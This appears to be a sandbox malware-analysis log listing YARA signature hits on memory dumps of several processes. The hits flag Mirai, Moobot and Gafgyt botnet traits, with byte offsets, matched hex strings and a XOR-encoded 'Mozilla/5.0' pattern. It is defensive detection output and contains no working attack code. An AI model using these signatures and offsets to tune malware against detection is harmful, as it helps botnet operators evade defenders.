6258.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6258.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6373.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6270.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7219.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6269.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6331.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6331.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6331.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6552.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6552.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6552.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6552.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6552.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6552.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7304.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7304.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7304.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7289.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7289.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7289.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7105.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7105.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7105.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7105.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7105.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7105.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
